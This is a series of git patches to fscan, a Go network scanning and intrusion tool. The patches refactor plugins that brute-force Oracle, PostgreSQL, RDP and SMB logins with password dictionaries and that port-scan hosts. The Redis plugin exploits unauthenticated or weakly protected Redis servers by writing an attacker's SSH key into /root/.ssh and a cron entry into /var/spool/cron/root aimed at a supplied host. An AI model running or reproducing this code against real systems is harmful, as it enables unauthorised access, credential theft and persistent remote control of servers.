db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) + db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) db.SetMaxIdleConns(0) defer db.Close() err = db.Ping() From e2afd85cca452aefd086353eeba9103e5727d75a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:52:44 +0800 Subject: [PATCH 18/46] Update oracle.go --- Plugins/oracle.go | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) diff --git a/Plugins/oracle.go b/Plugins/oracle.go index 526057d..0db4142 100644 --- a/Plugins/oracle.go +++ b/Plugins/oracle.go @@ -3,23 +3,22 @@ package Plugins import ( "database/sql" "fmt" - "strings" - "time" - "github.com/shadow1ng/fscan/common" _ "github.com/sijms/go-ora/v2" + "strings" + "time" ) -func OracleScan(info common.HostInfo, flags common.Flags) (tmperr error) { - if flags.IsBrute { +func OracleScan(info *common.HostInfo) (tmperr error) { + if common.IsBrute { return } starttime := time.Now().Unix() for _, user := range common.Userdict["oracle"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := OracleConn(info, user, pass, flags.Timeout) - if flag && err == nil { + flag, err := OracleConn(info, user, pass) + if flag == true && err == nil { return err } else { errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) @@ -28,7 +27,7 @@ func OracleScan(info common.HostInfo, flags common.Flags) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * flags.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) { return err } } @@ -37,14 +36,14 @@ func OracleScan(info common.HostInfo, flags common.Flags) (tmperr error) { return tmperr } -func OracleConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) { +func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port) db, err := sql.Open("oracle", dataSourceName) if err == nil { - db.SetConnMaxLifetime(time.Duration(timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second) + db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) + db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) db.SetMaxIdleConns(0) defer db.Close() err = db.Ping() From 21f9320ba8ed4b09ad628214fca58b5373734b4a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:53:56 +0800 Subject: [PATCH 19/46] Update portscan.go --- Plugins/portscan.go | 31 +++++++++++++------------------ 1 file changed, 13 insertions(+), 18 deletions(-) diff --git a/Plugins/portscan.go b/Plugins/portscan.go index 6b1cd00..7903dd3 100644 --- a/Plugins/portscan.go +++ b/Plugins/portscan.go @@ -2,12 +2,11 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/common" "sort" "strconv" "sync" "time" - - "github.com/shadow1ng/fscan/common" ) type Addr struct { @@ -15,10 +14,10 @@ type Addr struct { port int } -func PortScan(hostslist []string, ports string, flags common.Flags) []string { +func PortScan(hostslist []string, ports string, timeout int64) []string { var AliveAddress []string probePorts := common.ParsePort(ports) - noPorts := common.ParsePort(flags.NoPorts) + noPorts := common.ParsePort(common.NoPorts) if len(noPorts) > 0 { temp := map[int]struct{}{} for _, port := range probePorts { @@ -36,12 +35,12 @@ func PortScan(hostslist []string, ports string, flags common.Flags) []string { probePorts = newDatas sort.Ints(probePorts) } - workers := flags.Threads + workers := common.Threads Addrs := make(chan Addr, len(hostslist)*len(probePorts)) results := make(chan string, len(hostslist)*len(probePorts)) var wg sync.WaitGroup - // receive result + //接收结果 go func() { for found := range results { AliveAddress = append(AliveAddress, found) @@ -49,35 +48,32 @@ func PortScan(hostslist []string, ports string, flags common.Flags) []string { } }() - // multithreaded scan + //多线程扫描 for i := 0; i < workers; i++ { go func() { for addr := range Addrs { - PortConnect(addr, common.Socks5{Address: flags.Socks5Proxy}, results, flags.Timeout, &wg) + PortConnect(addr, results, timeout, &wg) wg.Done() } }() } - // add scan target + //添加扫描目标 for _, port := range probePorts { for _, host := range hostslist { wg.Add(1) Addrs <- Addr{host, port} } } - wg.Wait() - close(Addrs) close(results) - return AliveAddress } -func PortConnect(addr Addr, socks5Proxy common.Socks5, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) { +func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) { host, port := addr.ip, addr.port - conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), socks5Proxy, time.Duration(adjustedTimeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -92,9 +88,9 @@ func PortConnect(addr Addr, socks5Proxy common.Socks5, respondingHosts chan<- st } } -func NoPortScan(hostslist []string, ports string, flags common.Flags) (AliveAddress []string) { +func NoPortScan(hostslist []string, ports string) (AliveAddress []string) { probePorts := common.ParsePort(ports) - noPorts := common.ParsePort(flags.NoPorts) + noPorts := common.ParsePort(common.NoPorts) if len(noPorts) > 0 { temp := map[int]struct{}{} for _, port := range probePorts { @@ -106,13 +102,12 @@ func NoPortScan(hostslist []string, ports string, flags common.Flags) (AliveAddr } var newDatas []int - for port := range temp { + for port, _ := range temp { newDatas = append(newDatas, port) } probePorts = newDatas sort.Ints(probePorts) } - for _, port := range probePorts { for _, host := range hostslist { address := host + ":" + strconv.Itoa(port) From 8bcbdf1f38bb53c28a7c9d58ad21979babd0c3fb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:56:24 +0800 Subject: [PATCH 20/46] Update rdp.go --- Plugins/rdp.go | 46 +++++++++++++++++++--------------------------- 1 file changed, 19 insertions(+), 27 deletions(-) diff --git a/Plugins/rdp.go b/Plugins/rdp.go index 694d295..2754a9a 100644 --- a/Plugins/rdp.go +++ b/Plugins/rdp.go @@ -3,13 +3,6 @@ package Plugins import ( "errors" "fmt" - "log" - "os" - "strconv" - "strings" - "sync" - "time" - "github.com/shadow1ng/fscan/common" "github.com/tomatome/grdp/core" "github.com/tomatome/grdp/glog" @@ -20,6 +13,12 @@ import ( "github.com/tomatome/grdp/protocol/t125" "github.com/tomatome/grdp/protocol/tpkt" "github.com/tomatome/grdp/protocol/x224" + "log" + "os" + "strconv" + "strings" + "sync" + "time" ) type Brutelist struct { @@ -27,13 +26,11 @@ type Brutelist struct { pass string } -var sock5Proxy common.Socks5 = common.Socks5{Address: ""} - -func RdpScan(info common.HostInfo, flags common.Flags) (tmperr error) { - if flags.IsBrute { +func RdpScan(info *common.HostInfo) (tmperr error) { + if common.IsBrute { return } - sock5Proxy = common.Socks5{Address: flags.Socks5Proxy} + var wg sync.WaitGroup var signal bool var num = 0 @@ -49,9 +46,9 @@ func RdpScan(info common.HostInfo, flags common.Flags) (tmperr error) { } } - for i := 0; i < flags.BruteThread; i++ { + for i := 0; i < common.BruteThread; i++ { wg.Add(1) - go worker(info.Host, flags.Domain, port, &wg, brlist, &signal, &num, all, &mutex, flags.Timeout) + go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout) } close(brlist) @@ -110,14 +107,13 @@ func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, } type Client struct { - Host string // ip:port - proxy common.Socks5 - tpkt *tpkt.TPKT - x224 *x224.X224 - mcs *t125.MCSClient - sec *sec.Client - pdu *pdu.Client - vnc *rfb.RFB + Host string // ip:port + tpkt *tpkt.TPKT + x224 *x224.X224 + mcs *t125.MCSClient + sec *sec.Client + pdu *pdu.Client + vnc *rfb.RFB } func NewClient(host string, logLevel glog.LEVEL) *Client { @@ -129,12 +125,8 @@ func NewClient(host string, logLevel glog.LEVEL) *Client { } } -func (g *Client) setProxy(proxy common.Socks5) { - g.proxy = proxy -} - func (g *Client) Login(domain, user, pwd string, timeout int64) error { - conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, sock5Proxy, time.Duration(timeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) defer func() { if conn != nil { conn.Close() From 52c680af0d9dd29b0bdea2e0a6b7fbfaaba4ba06 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:56:54 +0800 Subject: [PATCH 21/46] Update postgres.go --- Plugins/postgres.go | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/Plugins/postgres.go b/Plugins/postgres.go index 6ffc8a4..36a97ed 100644 --- a/Plugins/postgres.go +++ b/Plugins/postgres.go @@ -3,23 +3,22 @@ package Plugins import ( "database/sql" "fmt" - "strings" - "time" - _ "github.com/lib/pq" "github.com/shadow1ng/fscan/common" + "strings" + "time" ) -func PostgresScan(info common.HostInfo, flags common.Flags) (tmperr error) { - if flags.IsBrute { +func PostgresScan(info *common.HostInfo) (tmperr error) { + if common.IsBrute { return } starttime := time.Now().Unix() for _, user := range common.Userdict["postgresql"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", string(user), -1) - flag, err := PostgresConn(info, user, pass, flags.Timeout) - if flag && err == nil { + flag, err := PostgresConn(info, user, pass) + if flag == true && err == nil { return err } else { errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) @@ -28,7 +27,7 @@ func PostgresScan(info common.HostInfo, flags common.Flags) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * flags.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) { return err } } @@ -37,13 +36,13 @@ func PostgresScan(info common.HostInfo, flags common.Flags) (tmperr error) { return tmperr } -func PostgresConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) { +func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") db, err := sql.Open("postgres", dataSourceName) if err == nil { - db.SetConnMaxLifetime(time.Duration(timeout) * time.Second) + db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) defer db.Close() err = db.Ping() if err == nil { From 0d717d667691ef7da70e96ccf84826a94a730dec Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:16:12 +0800 Subject: [PATCH 22/46] Update redis.go --- Plugins/redis.go | 80 ++++++++++++++++++++++++------------------------ 1 file changed, 40 insertions(+), 40 deletions(-) diff --git a/Plugins/redis.go b/Plugins/redis.go index cc77786..89875b4 100644 --- a/Plugins/redis.go +++ b/Plugins/redis.go @@ -3,12 +3,11 @@ package Plugins import ( "bufio" "fmt" + "github.com/shadow1ng/fscan/common" "net" "os" "strings" "time" - - "github.com/shadow1ng/fscan/common" ) var ( @@ -16,19 +15,19 @@ var ( dir string ) -func RedisScan(info *common.HostInfo, flags common.Flags) (tmperr error) { +func RedisScan(info *common.HostInfo) (tmperr error) { starttime := time.Now().Unix() - flag, err := RedisUnauth(info, flags) - if flag && err == nil { + flag, err := RedisUnauth(info) + if flag == true && err == nil { return err } - if flags.IsBrute { + if common.IsBrute { return } for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", "redis", -1) - flag, err := RedisConn(info, flags, pass) - if flag && err == nil { + flag, err := RedisConn(info, pass) + if flag == true && err == nil { return err } else { errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err) @@ -37,7 +36,7 @@ func RedisScan(info *common.HostInfo, flags common.Flags) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * flags.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) { return err } } @@ -45,10 +44,10 @@ func RedisScan(info *common.HostInfo, flags common.Flags) (tmperr error) { return tmperr } -func RedisConn(info *common.HostInfo, flags common.Flags, pass string) (flag bool, err error) { +func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -57,7 +56,7 @@ func RedisConn(info *common.HostInfo, flags common.Flags, pass string) (flag boo if err != nil { return flag, err } - err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) + err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) if err != nil { return flag, err } @@ -73,22 +72,22 @@ func RedisConn(info *common.HostInfo, flags common.Flags, pass string) (flag boo flag = true dbfilename, dir, err = getconfig(conn) if err != nil { - result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass) + result := fmt.Sprintf("[+] Redis %s %s", realhost, pass) common.LogSuccess(result) return flag, err } else { - result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename) + result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) common.LogSuccess(result) } - err = Expoilt(realhost, conn, flags.RedisShell) + err = Expoilt(realhost, conn) } return flag, err } -func RedisUnauth(info *common.HostInfo, flags common.Flags) (flag bool, err error) { +func RedisUnauth(info *common.HostInfo) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -97,7 +96,7 @@ func RedisUnauth(info *common.HostInfo, flags common.Flags) (flag bool, err erro if err != nil { return flag, err } - err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) + err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) if err != nil { return flag, err } @@ -113,54 +112,54 @@ func RedisUnauth(info *common.HostInfo, flags common.Flags) (flag bool, err erro flag = true dbfilename, dir, err = getconfig(conn) if err != nil { - result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost) + result := fmt.Sprintf("[+] Redis %s unauthorized", realhost) common.LogSuccess(result) return flag, err } else { - result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename) + result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename) common.LogSuccess(result) } - err = Expoilt(realhost, conn, flags.RedisShell) + err = Expoilt(realhost, conn) } return flag, err } -func Expoilt(realhost string, conn net.Conn, redisShell string) error { +func Expoilt(realhost string, conn net.Conn) error { flagSsh, flagCron, err := testwrite(conn) if err != nil { return err } - if flagSsh { - result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost) + if flagSsh == true { + result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost) common.LogSuccess(result) - if redisShell != "" { - writeok, text, err := writekey(conn, redisShell) + if common.RedisFile != "" { + writeok, text, err := writekey(conn, common.RedisFile) if err != nil { - fmt.Printf("[-] %s SSH write key errer: %s", realhost, text) + fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text)) return err } if writeok { - result := fmt.Sprintf("[+] %v SSH public key was written successfully", realhost) + result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost) common.LogSuccess(result) } else { - fmt.Println("[-] Redis:", realhost, "SSHPUB write failed", text) + fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text) } } } - if flagCron { - result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost) + if flagCron == true { + result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost) common.LogSuccess(result) - if redisShell != "" { - writeok, text, err := writecron(conn, redisShell) + if common.RedisShell != "" { + writeok, text, err := writecron(conn, common.RedisShell) if err != nil { return err } if writeok { - result := fmt.Sprintf("[+] %v /var/spool/cron/root was written successfully", realhost) + result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost) common.LogSuccess(result) } else { - fmt.Println("[-] Redis:", realhost, "cron write failed", text) + fmt.Println("[-] Redis ", realhost, "cron write failed", text) } } } @@ -261,7 +260,8 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { return flag, text, err } if strings.Contains(text, "OK") { - if _, err = conn.Write([]byte("save\r\n")); err != nil { + _, err = conn.Write([]byte("save\r\n")) + if err != nil { return flag, text, err } text, err = readreply(conn) @@ -377,16 +377,16 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { if err != nil { return } - - if _, err = readreply(conn); err != nil { + _, err = readreply(conn) + if err != nil { return } _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))) if err != nil { return } - - if _, err = readreply(conn); err != nil { + _, err = readreply(conn) + if err != nil { return } return From acd5a1a8bb627e906c6e28bd9987d063742ea60e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:17:46 +0800 Subject: [PATCH 23/46] Update scanner.go --- Plugins/scanner.go | 93 ++++++++++++++++++++++------------------------ 1 file changed, 45 insertions(+), 48 deletions(-) diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 0f4effd..58c2c3a 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -2,59 +2,57 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/WebScan/lib" + "github.com/shadow1ng/fscan/common" "reflect" "strconv" "strings" "sync" - - "github.com/fatih/color" - "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" ) -func Scan(info common.HostInfo, flags common.Flags) { +func Scan(info common.HostInfo) { fmt.Println("start infoscan") - Hosts, err := common.ParseIP(&info.HostPort, info.Host, flags.HostFile, flags.NoHosts) + Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts) if err != nil { fmt.Println("len(hosts)==0", err) return } - lib.Inithttp(flags) - var ch = make(chan struct{}, flags.Threads) + lib.Inithttp(common.Pocinfo) + var ch = make(chan struct{}, common.Threads) var wg = sync.WaitGroup{} web := strconv.Itoa(common.PORTList["web"]) ms17010 := strconv.Itoa(common.PORTList["ms17010"]) - if len(Hosts) > 0 || len(info.HostPort) > 0 { - if flags.NoPing == false && len(Hosts) > 0 { - Hosts = CheckLive(Hosts, flags.Ping, flags.LiveTop) - color.Cyan("[*] Icmp alive hosts len is: %d", len(Hosts)) + if len(Hosts) > 0 || len(common.HostPort) > 0 { + if common.NoPing == false && len(Hosts) > 0 { + Hosts = CheckLive(Hosts, common.Ping) + fmt.Println("[*] Icmp alive hosts len is:", len(Hosts)) } - if flags.Scantype == "icmp" { + if common.Scantype == "icmp" { common.LogWG.Wait() return } - + common.GC() var AlivePorts []string - if flags.Scantype == "webonly" || flags.Scantype == "webpoc" { - AlivePorts = NoPortScan(Hosts, info.Ports, flags) - } else if flags.Scantype == "hostname" { + if common.Scantype == "webonly" || common.Scantype == "webpoc" { + AlivePorts = NoPortScan(Hosts, info.Ports) + } else if common.Scantype == "hostname" { info.Ports = "139" - AlivePorts = NoPortScan(Hosts, info.Ports, flags) + AlivePorts = NoPortScan(Hosts, info.Ports) } else if len(Hosts) > 0 { - AlivePorts = PortScan(Hosts, info.Ports, flags) - color.Cyan("[*] alive ports len is: %d", len(AlivePorts)) - if flags.Scantype == "portscan" { + AlivePorts = PortScan(Hosts, info.Ports, common.Timeout) + fmt.Println("[*] alive ports len is:", len(AlivePorts)) + if common.Scantype == "portscan" { common.LogWG.Wait() return } } - if len(info.HostPort) > 0 { - AlivePorts = append(AlivePorts, info.HostPort...) + if len(common.HostPort) > 0 { + AlivePorts = append(AlivePorts, common.HostPort...) AlivePorts = common.RemoveDuplicate(AlivePorts) - info.HostPort = nil - color.Cyan("[*] AlivePorts len is:", len(AlivePorts)) + common.HostPort = nil + fmt.Println("[*] AlivePorts len is:", len(AlivePorts)) } - + common.GC() var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...} for _, port := range common.PORTList { severports = append(severports, strconv.Itoa(port)) @@ -62,54 +60,53 @@ func Scan(info common.HostInfo, flags common.Flags) { fmt.Println("start vulscan") for _, targetIP := range AlivePorts { info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1] - if flags.Scantype == "all" || flags.Scantype == "main" { + if common.Scantype == "all" || common.Scantype == "main" { switch { case info.Ports == "135": - AddScan(info.Ports, info, flags, &ch, &wg) //findnet - if flags.IsWmi { - AddScan("1000005", info, flags, &ch, &wg) //wmiexec + AddScan(info.Ports, info, &ch, &wg) //findnet + if common.IsWmi { + AddScan("1000005", info, &ch, &wg) //wmiexec } case info.Ports == "445": - AddScan(ms17010, info, flags, &ch, &wg) //ms17010 + AddScan(ms17010, info, &ch, &wg) //ms17010 //AddScan(info.Ports, info, ch, &wg) //smb //AddScan("1000002", info, ch, &wg) //smbghost case info.Ports == "9000": - AddScan(web, info, flags, &ch, &wg) //http - AddScan(info.Ports, info, flags, &ch, &wg) //fcgiscan + AddScan(web, info, &ch, &wg) //http + AddScan(info.Ports, info, &ch, &wg) //fcgiscan case IsContain(severports, info.Ports): - AddScan(info.Ports, info, flags, &ch, &wg) //plugins scan + AddScan(info.Ports, info, &ch, &wg) //plugins scan default: - AddScan(web, info, flags, &ch, &wg) //webtitle + AddScan(web, info, &ch, &wg) //webtitle } } else { - scantype := strconv.Itoa(common.PORTList[flags.Scantype]) - AddScan(scantype, info, flags, &ch, &wg) + scantype := strconv.Itoa(common.PORTList[common.Scantype]) + AddScan(scantype, info, &ch, &wg) } } } - - for _, url := range flags.Urls { + common.GC() + for _, url := range common.Urls { info.Url = url - AddScan(web, info, flags, &ch, &wg) + AddScan(web, info, &ch, &wg) } - + common.GC() wg.Wait() common.LogWG.Wait() close(common.Results) - - fmt.Printf("Finished %d/%d", common.End, common.Num) + fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num)) } var Mutex = &sync.Mutex{} -func AddScan(scantype string, info common.HostInfo, flags common.Flags, ch *chan struct{}, wg *sync.WaitGroup) { +func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { *ch <- struct{}{} wg.Add(1) go func() { Mutex.Lock() common.Num += 1 Mutex.Unlock() - ScanFunc(scantype, info, flags) + ScanFunc(&scantype, &info) Mutex.Lock() common.End += 1 Mutex.Unlock() @@ -118,9 +115,9 @@ func AddScan(scantype string, info common.HostInfo, flags common.Flags, ch *chan }() } -func ScanFunc(name string, info common.HostInfo, flags common.Flags) { - f := reflect.ValueOf(PluginList[name]) - in := []reflect.Value{reflect.ValueOf(info), reflect.ValueOf(flags)} +func ScanFunc(name *string, info *common.HostInfo) { + f := reflect.ValueOf(PluginList[*name]) + in := []reflect.Value{reflect.ValueOf(info)} f.Call(in) } From dd1fc49f0122eb8fc594fffb1f45687b77b5f34c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:18:25 +0800 Subject: [PATCH 24/46] Update smb.go --- Plugins/smb.go | 31 +++++++++++++++---------------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/Plugins/smb.go b/Plugins/smb.go index 69f1b61..36d6f0e 100644 --- a/Plugins/smb.go +++ b/Plugins/smb.go @@ -3,28 +3,27 @@ package Plugins import ( "errors" "fmt" - "strings" - "time" - "github.com/shadow1ng/fscan/common" "github.com/stacktitan/smb/smb" + "strings" + "time" ) -func SmbScan(info common.HostInfo, flags common.Flags) (tmperr error) { - if flags.IsBrute { +func SmbScan(info *common.HostInfo) (tmperr error) { + if common.IsBrute { return nil } starttime := time.Now().Unix() for _, user := range common.Userdict["smb"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := doWithTimeOut(info, flags, user, pass) - if flag && err == nil { + flag, err := doWithTimeOut(info, user, pass) + if flag == true && err == nil { var result string - if flags.Domain != "" { - result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, flags.Domain, user, pass) + if common.Domain != "" { + result = fmt.Sprintf("[+] SMB %v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass) } else { - result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass) + result = fmt.Sprintf("[+] SMB %v:%v:%v %v", info.Host, info.Ports, user, pass) } common.LogSuccess(result) return err @@ -36,7 +35,7 @@ func SmbScan(info common.HostInfo, flags common.Flags) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { return err } } @@ -45,7 +44,7 @@ func SmbScan(info common.HostInfo, flags common.Flags) (tmperr error) { return tmperr } -func SmblConn(info common.HostInfo, flags common.Flags, user string, pass string, signal chan struct{}) (flag bool, err error) { +func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { flag = false Host, Username, Password := info.Host, user, pass options := smb.Options{ @@ -53,7 +52,7 @@ func SmblConn(info common.HostInfo, flags common.Flags, user string, pass string Port: 445, User: Username, Password: Password, - Domain: flags.Domain, + Domain: common.Domain, Workstation: "", } @@ -68,15 +67,15 @@ func SmblConn(info common.HostInfo, flags common.Flags, user string, pass string return flag, err } -func doWithTimeOut(info common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) { +func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) { signal := make(chan struct{}) go func() { - flag, err = SmblConn(info, flags, user, pass, signal) + flag, err = SmblConn(info, user, pass, signal) }() select { case <-signal: return flag, err - case <-time.After(time.Duration(flags.Timeout) * time.Second): + case <-time.After(time.Duration(common.Timeout) * time.Second): return false, errors.New("time out") } } From 29beca41d0f79cc4dbe618e932b42c20725afc91 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:24:44 +0800 Subject: [PATCH 25/46] Update smb2.go --- Plugins/smb2.go | 87 +++++++++++++++++++++++++++++++++++++------------ 1 file changed, 66 insertions(+), 21 deletions(-) diff --git a/Plugins/smb2.go b/Plugins/smb2.go index c3c6747..e57e90d 100644 --- a/Plugins/smb2.go +++ b/Plugins/smb2.go @@ -2,40 +2,39 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/common" "net" "os" "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/hirochachacha/go-smb2" ) -func SmbScan2(info common.HostInfo, flags common.Flags) (tmperr error) { - if flags.IsBrute { +func SmbScan2(info *common.HostInfo) (tmperr error) { + if common.IsBrute { return nil } hasprint := false starttime := time.Now().Unix() - hash := flags.HashBytes + hash := common.HashBytes for _, user := range common.Userdict["smb"] { PASS: for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err, flag2 := Smb2Con(info, flags, user, pass, hash, hasprint) + flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint) if flag2 { hasprint = true } - if flag { + if flag == true { var result string - if flags.Domain != "" { - result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user) + if common.Domain != "" { + result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) } else { - result = fmt.Sprintf("[+] SMB2:%v:%v:%v ", info.Host, info.Ports, user) + result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user) } if len(hash) > 0 { - result += "hash: " + flags.Hash + result += "hash: " + common.Hash } else { result += pass } @@ -43,8 +42,8 @@ func SmbScan2(info common.HostInfo, flags common.Flags) (tmperr error) { return err } else { var errlog string - if len(flags.Hash) > 0 { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, flags.Hash, err) + if len(common.Hash) > 0 { + errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err) } else { errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err) } @@ -54,11 +53,11 @@ func SmbScan2(info common.HostInfo, flags common.Flags) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { return err } } - if len(flags.Hash) > 0 { + if len(common.Hash) > 0 { break PASS } } @@ -66,8 +65,8 @@ func SmbScan2(info 